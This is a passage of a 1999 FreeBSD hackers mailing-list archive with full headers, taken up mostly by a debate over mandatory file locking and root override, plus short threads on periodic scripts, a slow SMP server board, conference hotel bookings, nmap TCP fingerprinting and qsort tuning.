Received: from dmlb by ragnet.demon.co.uk with local (Exim 2.12 #1) id 11IzoP-0005MO-00; Mon, 23 Aug 1999 20:31:21 +0100 Content-Length: 655 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <37C12761.A8A017F5@baker.ie> Date: Mon, 23 Aug 1999 20:31:20 +0100 (BST) From: Duncan Barclay To: Cillian Sharkey Subject: Re: proposed change for /etc/periodic/* scripts Cc: hackers@freebsd.org, Mike Pritchard Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 23-Aug-99 Cillian Sharkey wrote: > > yes perhaps an /etc/periodic.conf would be good, to control the level > of verbosity and/or set options for each script ? I've hacked periodic here so that the scripts can be turned off with knobs in a periodic.conf file. This would simplify customizing new installitions - one no longer needs to add exit 0 to scripts. Duncan --- ________________________________________________________________________ Duncan Barclay | God smiles upon the little children, dmlb@ragnet.demon.co.uk | the alcoholics, and the permanently stoned. ________________________________________________________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 14:22:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from noc.santacruz.org (noc.santacruz.org [209.133.111.168]) by hub.freebsd.org (Postfix) with ESMTP id 2CE3A1500B for ; Mon, 23 Aug 1999 14:22:45 -0700 (PDT) (envelope-from klynn@santacruz.org) Received: by noc.santacruz.org (Postfix, from userid 1003) id E2670CD20; Mon, 23 Aug 1999 14:25:36 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by noc.santacruz.org (Postfix) with ESMTP id C91EFCD18; Mon, 23 Aug 1999 14:25:36 -0700 (PDT) Date: Mon, 23 Aug 1999 14:25:36 -0700 (PDT) From: Kevin Lynn To: Luiz Morte da Costa Junior Cc: freebsd-hackers@freefall.cdrom.com, freebsd-hackers@freebsd.org Subject: Re: L440GX+ Server Board In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Has anyone else gotten this server board to work? I've got an N440BX and have been considering getting the L440GX+ but haven't because I don't know if it works.. Kevin On Mon, 23 Aug 1999, Luiz Morte da Costa Junior wrote: > > Hi list, > > About the problem bellow, I bought a 2940 Adaptec Ultra2 Wide SCSI > controller, but it didn't work too. > > I wrote to Justin T. Gibbs and he told me that my problem is not SCSI. > > Somebody has any idea? > > []s, > > Luiz Morte da Costa Junior > Analista de Redes E-mail: morte@correionet.com.br > Telefone: +55 19 754-2532 Fax: +55 19 255-7576 > CorreioNet - Correio Popular Campinas - SP - Brazil > > > On Sun, 22 Aug 1999, Luiz Morte da Costa Junior wrote: > > > > > Hi all, > > > > I have a problem with a server running a FreeBSD 3.2. > > > > My Server has a L440GX+ Serber Board (intel), with network card 10/100, > > SCSI AIC 7896 (80MB/s), 2 SCSI disk with 9GB (80MB/s), 2 pentium III > > 450Mhz (not overclocked). The NIC and SCSI are onboard. > > > > I recompiled a kernel to SMP, and it worked. The server is ok, but when I > > run a comand with disk access (whith vipw or mysql), the performance of > > server goes down. My server stays very very very slow. If I use pine to > > read my messages, it doesn't work. When the comand finishes, the server > > stays "ok" again. > > > > I recompiled the kernel with "maxusers 128", but it doesn't work. > > > > My SCSI cable has a terminator and the scsi setup is ok (I think :) ). > > > > The dmesg command output is in attchmnt. > > > > I appreciate any help. > > > > []s, > > > > Luiz Morte da Costa Junior > > Analista de Redes E-mail: morte@correionet.com.br > > Telefone: +55 19 754-2532 Fax: +55 19 255-7576 > > CorreioNet - Correio Popular Campinas - SP - Brazil > > > > []s, > > Luiz Morte da Costa Junior > Analista de Redes E-mail: morte@correionet.com.br > Telefone: +55 19 754-2532 Fax: +55 19 255-7576 > CorreioNet - Correio Popular Campinas - SP - Brazil > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 14:47:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 90C0B14FA1 for ; Mon, 23 Aug 1999 14:47:33 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id RAA19894; Mon, 23 Aug 1999 17:47:18 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <199908232012.WAA78393@gratis.grondar.za> References: <199908232012.WAA78393@gratis.grondar.za> Date: Mon, 23 Aug 1999 17:47:46 -0400 To: Mark Murray From: Garance A Drosihn Subject: Re: Mandatory locking? Cc: hackers@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:12 PM +0200 8/23/99, Mark Murray wrote: >Folk are all skirting around a very convenient (and necessary) >loophole; in cases where there _is_ mandatory locking, there >is always some meta-user which is allowed to violate this. If we include non-unix systems in the discussion, this isn't always true. In the mainframe OS that I used to work on, there was no meta-user who could just ignore locks set by other processes. The super-user could find which process had a file locked, and kill that process (thus removing the lock). Or the super-user could run a program which modified the in-core locking table so the file did not appear to be locked. However, ordinary programs run by that super user did not have any magic power to ignore mandatory locks set by some other process. It is true that nobody is running that mainframe OS anymore... :-) I'm just saying we COULD (and maybe "should"?) implement this such that even root has to honor mandatory locks. Root (or some thing) would have a way to get around or cancel the mandatory lock, but "standard" programs run by root should not bypass the mandatory locking. (IMO) --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 15:47:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 10D3C14CD3 for ; Mon, 23 Aug 1999 15:47:36 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id SAA89557; Mon, 23 Aug 1999 18:42:50 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Mon, 23 Aug 1999 18:42:50 -0400 (EDT) From: Chuck Robey To: Garance A Drosihn Cc: Ville-Pertti Keinonen , Greg Lehey , hackers@FreeBSD.ORG Subject: Re: Mandatory locking? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Garance A Drosihn wrote: > At 11:29 AM -0400 8/23/99, Chuck Robey wrote: > >I think mandatory locking should exist, but only be available to root. > >If a program needs this, it must run with root privs, so that ordinary > >users cannot wedge the machine, but (as usual) root can shoot himself > >in the foot (traditional Unix methodology). > > I don't think we want to force people into running their program as > root just to get mandatory locking. Perhaps there would be a program > with root-privs which would have to be run to register files which > will have mandatory locking, but the program which manipulates those > files shouldn't have to run as root. There are other ways to access the rights, such as sockets, pipes, etc. You write a server which runs as root and can lock, and the clients, running with clients privs, make service requests. If you restrict locking to root, then even if someone manages to wedge his machine, he's not doing anything that an idiot with root and the rm command can't do much worse. I think Garrett's fears are of folks unwittingly wedging machines too easily, so real mandatory locking ought to be restricted to programs that root can set up. > > > --- > Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu > Senior Systems Programmer or drosih@rpi.edu > Rensselaer Polytechnic Institute > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic and jaunt, both FreeBSD-current. (301) 220-2114 | ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 16:14:39 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 9792614EF8 for ; Mon, 23 Aug 1999 16:14:33 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id QAA18698; Mon, 23 Aug 1999 16:10:26 -0700 (PDT) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id QAA29343; Mon, 23 Aug 1999 16:03:13 -0700 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id RAA28838; Mon, 23 Aug 1999 17:10:22 -0600 Message-ID: <37C1D4DE.3607D17C@softweyr.com> Date: Mon, 23 Aug 1999 17:10:22 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Chuck Robey Cc: Garance A Drosihn , Ville-Pertti Keinonen , Greg Lehey , hackers@FreeBSD.ORG Subject: Re: Mandatory locking? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chuck Robey wrote: > > I think Garrett's fears are of folks unwittingly wedging machines too > easily, so real mandatory locking ought to be restricted to programs > that root can set up. And those fears are well-founded, but your proposed solution just creates another set of bottlenecks. Making mandatory locks available to any process and giving root an avenue by which it can revoke the locks, by whatever means, is a better solution. SIGKILL seems like an ideal candidate to me. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 17: 3: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 64B2F14F58; Mon, 23 Aug 1999 17:02:43 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id JAA21420; Tue, 24 Aug 1999 09:31:30 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id JAA87288; Tue, 24 Aug 1999 09:31:25 +0930 (CST) Date: Tue, 24 Aug 1999 09:31:25 +0930 From: Greg Lehey To: Garance A Drosihn Cc: Matthew Dillon , Poul-Henning Kamp , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman , Mark Murray Subject: Re: Mandatory locking? Message-ID: <19990824093125.P83273@freebie.lemis.com> References: <199908232012.WAA78393@gratis.grondar.za> <19990823122719.G83273@freebie.lemis.com> <7071.935386172@critter.freebsd.dk> <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> <19990823100654.B83273@freebie.lemis.com> <199908230504.WAA01860@apollo.backplane.com> <19990823152849.H83273@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Garance A Drosihn on Mon, Aug 23, 1999 at 03:28:01PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 23 August 1999 at 15:28:01 -0400, Garance A Drosihn wrote: > At 3:28 PM +0930 8/23/99, Greg Lehey wrote: >> I'm a little surprised that there's any objection to the concept >> of mandatory locking. In transaction processing, locking is not >> optional, and if any process at all can access a file or set of... > > For what it's worth, I also like the idea of mandatory locking. > It's important to think through some of the implementation details, > but I would also like to see some way to specify mandatory locking > in at least some situations. > > I'm not particularly thrilled with the idea of keying it off chmod > bits, though. That seems like a recipe for disaster. Remember where that came from: System V. I don't like it either, but if we're going to do it, we should offer this method (maybe as an option) for compatibility reasons. > Anyway, I am also puzzled as to why there would be much objection to > the option of mandatory locking. My initial systems-programming > experience was on a mainframe OS where mandatory locking was the > NORM, and you had to go out of your way to avoid locking. It seemed > to work quite well in my experience. Ditto in all points. I think that the people who are objecting are seeing potential rather than real problems. Obviously you don't apply mandatory locking to every file, but there are many cases where it makes sense. On Monday, 23 August 1999 at 17:47:46 -0400, Garance A Drosihn wrote: > At 10:12 PM +0200 8/23/99, Mark Murray wrote: >> Folk are all skirting around a very convenient (and necessary) >> loophole; in cases where there _is_ mandatory locking, there >> is always some meta-user which is allowed to violate this. > > If we include non-unix systems in the discussion, this isn't > always true. In the mainframe OS that I used to work on, there was > no meta-user who could just ignore locks set by other processes. > The super-user could find which process had a file locked, and > kill that process (thus removing the lock). Or the super-user > could run a program which modified the in-core locking table > so the file did not appear to be locked. Exactly. The reason why mandatory locking isn't a problem is because it's possible to kill processes holding the locks. It should be possible to find out who these processes are. > However, ordinary programs run by that super user did not have > any magic power to ignore mandatory locks set by some other > process. > > It is true that nobody is running that mainframe OS anymore... :-) They're running similar OSs. Tandem's NSK, for example, has always had mandatory locking. > I'm just saying we COULD (and maybe "should"?) implement this > such that even root has to honor mandatory locks. Root (or some > thing) would have a way to get around or cancel the mandatory > lock, but "standard" programs run by root should not bypass the > mandatory locking. (IMO) I don't think that it should be necessary for root to have this override. The tendency in the last few years has been to lessen root's authority, not increase it. And remember, just because people on this forum haven't had much experience with mandatory locking doesn't mean that others don't: it's been in use for years, and people *don't* have (many) problems with deadlocks. The real issue here is that (mandatory) locking is standard on just about every operating system nowadays. I'd guess that even Microsoft has it. The lack of support on FreeBSD doesn't improve the system. I've done some searching on the web, and came up with a lot of stuff. http://homer.njit.edu:8000/cis332/flock.html and http://miller.cs.wm.edu/lxr3.linux/http/source/Documentation/mandatory.txt seem to be the most interesting. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 17:42: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 0950114F26 for ; Mon, 23 Aug 1999 17:41:47 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id JAA14430 for ; Tue, 24 Aug 1999 09:41:46 +0900 (JST) To: hackers@FreeBSD.ORG In-reply-to: ken's message of Mon, 23 Aug 1999 13:58:22 CST. <199908231958.NAA62227@panzer.kdm.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: [freebsdcon] radisson reservation From: itojun@iijlab.net Date: Tue, 24 Aug 1999 09:41:46 +0900 Message-ID: <14428.935455306@coconut.itojun.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> > Unfortunately, you have to call the local hotel to get reservations, and >> > not the toll-free national hotline. The hotel in Berkeley doesn't have a >> > toll free number, so after sitting on hold with the Berkeley Radission for >> > 15 minutes, burning long distance money, I decided to call the national >> > reservations hotline. They told me I had to call the reservations desk at >> > the Berkeley Radission. >> >> I called the 800 number in the FreeBSDcon brochure, it worked fine. > >They should stick that magic 800 number on the FreeBSDcon web site. > >> Regretfully, I now won't be attending the conference so now I get to find >> out just how well they cancel reservations. > >Bummer. Thank you very much for all of you gave me the tip, I will FAX the hotel with mentioning "walnut creek cdrom". itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 17:47:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from modgud.nordicrecords.com (h21-168-107.nordicdms.com [207.21.168.107]) by hub.freebsd.org (Postfix) with SMTP id BD09F14E78 for ; Mon, 23 Aug 1999 17:47:04 -0700 (PDT) (envelope-from walton@nordicrecords.com) Received: (qmail 26568 invoked by alias); 24 Aug 1999 00:47:03 -0000 Message-ID: <19990824004703.26566.qmail@modgud.nordicrecords.com> Received: (qmail 26554 invoked from network); 24 Aug 1999 00:47:02 -0000 Received: from unknown (HELO walton) (207.21.168.137) by mail.nordicdms.com with SMTP; 24 Aug 1999 00:47:02 -0000 From: "Dave Walton" To: geoffr@is.co.za Date: Mon, 23 Aug 1999 17:44:47 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: setting up -STABLE for hack contest Reply-To: walton@nordicrecords.com Cc: freebsd-hackers@freebsd.org X-mailer: Pegasus Mail for Win32 (v3.11) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Geoff Rehmet writes: > Also have a look at ports/security/nmap, and go to > www.insecure.org. Hm, just did that. While reading up on nmap, I saw this: "TCP Initial Window -- This simply involves checking the window size on returned packets. [...] In their "completely rewritten" TCP stack for NT5, Microsoft uses 0x402E. Interestingly, that is exactly the number used by OpenBSD and FreeBSD." Gee, I wonder how that happened... Dave ---------------------------------------------------------------------- Dave Walton Webmaster, Postmaster Nordic Entertainment Worldwide walton@nordicdms.com http://www.nordicdms.com ---------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 17:59:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from m4.c2.telstra-mm.net.au (m4.c2.telstra-mm.net.au [24.192.3.19]) by hub.freebsd.org (Postfix) with ESMTP id CE9B51500C for ; Mon, 23 Aug 1999 17:59:44 -0700 (PDT) (envelope-from a.reilly@lake.com.au) Received: from m5.c2.telstra-mm.net.au (m5.c2.telstra-mm.net.au [24.192.3.20]) by m4.c2.telstra-mm.net.au (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id KAA28450 for ; Tue, 24 Aug 1999 10:59:36 +1000 (EST) X-BPC-Relay-Envelope-From: a.reilly@lake.com.au X-BPC-Relay-Envelope-To: X-BPC-Relay-Sender-Host: m5.c2.telstra-mm.net.au [24.192.3.20] X-BPC-Relay-Info: Message delivered directly. Received: from areilly.bpc-users.org (CPE-24-192-49-170.nsw.bigpond.net.au [24.192.49.170]) by m5.c2.telstra-mm.net.au (8.8.6 (PHNE_14041)/8.8.6) with SMTP id KAA00583 for ; Tue, 24 Aug 1999 10:59:34 +1000 (EST) Received: (qmail 84417 invoked by uid 1000); 24 Aug 1999 00:59:34 -0000 From: "Andrew Reilly" Date: Tue, 24 Aug 1999 10:59:34 +1000 To: Greg Lehey Cc: Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990824105934.A82973@gurney.reilly.home> References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> <19990823174345.J83273@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990823174345.J83273@freebie.lemis.com>; from Greg Lehey on Mon, Aug 23, 1999 at 05:43:45PM +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Greg, hackers list, I don't want to express an opinion about the need or otherwise for mandatory locking, but I would appreciate a teensy clarification of the problem domain: On Mon, Aug 23, 1999 at 05:43:45PM +0930, Greg Lehey wrote: > To write a block to a RAID-5 device, you need to: > > 1. Read the old data into a temporary buffer. > 2. Read the old parity data corresponding to the data into a > temporary buffer. > 3. XOR the two, storing the result in one of the temporary buffers. > 4. XOR the result with the data which is to be written. > 5. Write the data block. > 6. Write the parity block. Are you suggesting that random user processes have to do all of this every time that they access a vinum drive? I thought that access was mediated by a driver or server process. Isn't this process in a position to ensure the integrity of the transaction without any help from locking mechanisms? If some major maintenance utility needs to run on the raw device, during which time the state is inconsistent as far as user processes are concerned, isn't it sufficient to remove their read priveliges? Sorry if these are dumb questions. I have had no experience at file system or data-base applications, but I do want to learn as much about them as I can. -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 18:33:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp11.bellglobal.com (smtp11.bellglobal.com [204.101.251.53]) by hub.freebsd.org (Postfix) with ESMTP id B225614FC3; Mon, 23 Aug 1999 18:33:22 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from ppp18344.on.bellglobal.com (ppp6631.on.bellglobal.com [206.172.208.223]) by smtp11.bellglobal.com (8.8.5/8.8.5) with ESMTP id VAA03089; Mon, 23 Aug 1999 21:36:27 -0400 (EDT) Received: (from tim@localhost) by ppp18344.on.bellglobal.com (8.9.3/8.9.1) id VAA99468; Mon, 23 Aug 1999 21:35:13 -0400 (EDT) (envelope-from tim) Date: Mon, 23 Aug 1999 21:35:13 -0400 From: Tim Vanderhoek To: Garance A Drosihn Cc: Greg Lehey , Matthew Dillon , Poul-Henning Kamp , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990823213512.A99022@ppp18344.on.bellglobal.com> References: <19990823122719.G83273@freebie.lemis.com> <7071.935386172@critter.freebsd.dk> <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> <19990823100654.B83273@freebie.lemis.com> <199908230504.WAA01860@apollo.backplane.com> <19990823152849.H83273@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: ; from Garance A Drosihn on Mon, Aug 23, 1999 at 03:28:01PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 03:28:01PM -0400, Garance A Drosihn wrote: > > Anyway, I am also puzzled as to why there would be much objection > to the option of mandatory locking. My initial systems-programming If you provide mandatory locks that can be broken, then many of the objections may disappear... Providing mandatory locks that can be broken would be rather useful, I think. Mandatory locks that cannot be broken are another matter... -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 18:39:35 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp13.bellglobal.com (smtp13.bellglobal.com [204.101.251.52]) by hub.freebsd.org (Postfix) with ESMTP id B23C914FAC; Mon, 23 Aug 1999 18:39:22 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from ppp18344.on.bellglobal.com (ppp6631.on.bellglobal.com [206.172.208.223]) by smtp13.bellglobal.com (8.8.5/8.8.5) with ESMTP id VAA06530; Mon, 23 Aug 1999 21:38:29 -0400 (EDT) Received: (from tim@localhost) by ppp18344.on.bellglobal.com (8.9.3/8.9.1) id VAA99488; Mon, 23 Aug 1999 21:38:58 -0400 (EDT) (envelope-from tim) Date: Mon, 23 Aug 1999 21:38:57 -0400 From: Tim Vanderhoek To: Mark Murray Cc: "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990823213857.B99022@ppp18344.on.bellglobal.com> References: <199908232012.WAA78393@gratis.grondar.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <199908232012.WAA78393@gratis.grondar.za>; from Mark Murray on Mon, Aug 23, 1999 at 10:12:38PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 10:12:38PM +0200, Mark Murray wrote: > > In process-space, this is the kernel. In file-space, this should > be root. Processes that require mandatory locking must revoke > superuser before attempting locks. I don't like restricting the breaking of mandatory locks to the superuser. It could be restricted to specific users (say file owner + root)... -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 19: 9:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp11.bellglobal.com (smtp11.bellglobal.com [204.101.251.53]) by hub.freebsd.org (Postfix) with ESMTP id 7255D15876 for ; Mon, 23 Aug 1999 19:09:52 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from ppp18344.on.bellglobal.com (ppp6631.on.bellglobal.com [206.172.208.223]) by smtp11.bellglobal.com (8.8.5/8.8.5) with ESMTP id WAA20900; Mon, 23 Aug 1999 22:13:00 -0400 (EDT) Received: (from tim@localhost) by ppp18344.on.bellglobal.com (8.9.3/8.9.1) id WAA01143; Mon, 23 Aug 1999 22:11:46 -0400 (EDT) (envelope-from tim) Date: Mon, 23 Aug 1999 22:11:46 -0400 From: Tim Vanderhoek To: Christopher Seiwald Cc: a-wada@mars.dti.ne.jp, archie@whistle.com, freebsd-hackers@FreeBSD.ORG Subject: Re: anybody love qsort.c? Message-ID: <19990823221145.C1011@ppp18344.on.bellglobal.com> References: <199908220056.AA00050@a.mars.dti.ne.jp> <199908230728.AAA24061@perforce.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <199908230728.AAA24061@perforce.com>; from Christopher Seiwald on Mon, Aug 23, 1999 at 12:28:32AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 12:28:32AM -0700, Christopher Seiwald wrote: > > The alteration that I've tried and tested is to have the isort bail > back to qsort if it does more than N swaps. I put N at 1024, which Perhaps a ratio: #comparisons : # swaps If the ratio gets too high, then bail. -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 19:24: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.33.127]) by hub.freebsd.org (Postfix) with ESMTP id 43DA0158AF for ; Mon, 23 Aug 1999 19:23:36 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id TAA15551; Mon, 23 Aug 1999 19:21:17 -0700 (PDT) Message-Id: <199908240221.TAA15551@lestat.nas.nasa.gov> To: walton@nordicrecords.com Cc: geoffr@is.co.za, freebsd-hackers@FreeBSD.ORG Subject: Re: setting up -STABLE for hack contest Reply-To: Jason Thorpe From: Jason Thorpe Date: Mon, 23 Aug 1999 19:21:16 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 17:44:47 -0700 "Dave Walton" wrote: > Hm, just did that. While reading up on nmap, I saw this: > > "TCP Initial Window -- This simply involves checking the window > size on returned packets. [...] In their "completely rewritten" > TCP stack for NT5, Microsoft uses 0x402E. Interestingly, that is > exactly the number used by OpenBSD and FreeBSD." > > Gee, I wonder how that happened... It's not "interesting" at all. Lots of systems default to a 16k receive window. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 19:39:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id 9A23E1589F; Mon, 23 Aug 1999 19:39:33 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id WAA15295; Mon, 23 Aug 1999 22:36:45 -0400 (EDT) Message-ID: <19990823223645.A14001@netmonger.net> Date: Mon, 23 Aug 1999 22:36:45 -0400 From: Christopher Masto To: Garance A Drosihn , "Daniel C. Sobral" , Greg Lehey Cc: Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> <19990823174345.J83273@freebie.lemis.com> <37C174F5.2D8AEEB1@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: ; from Garance A Drosihn on Mon, Aug 23, 1999 at 03:43:10PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > The thing about 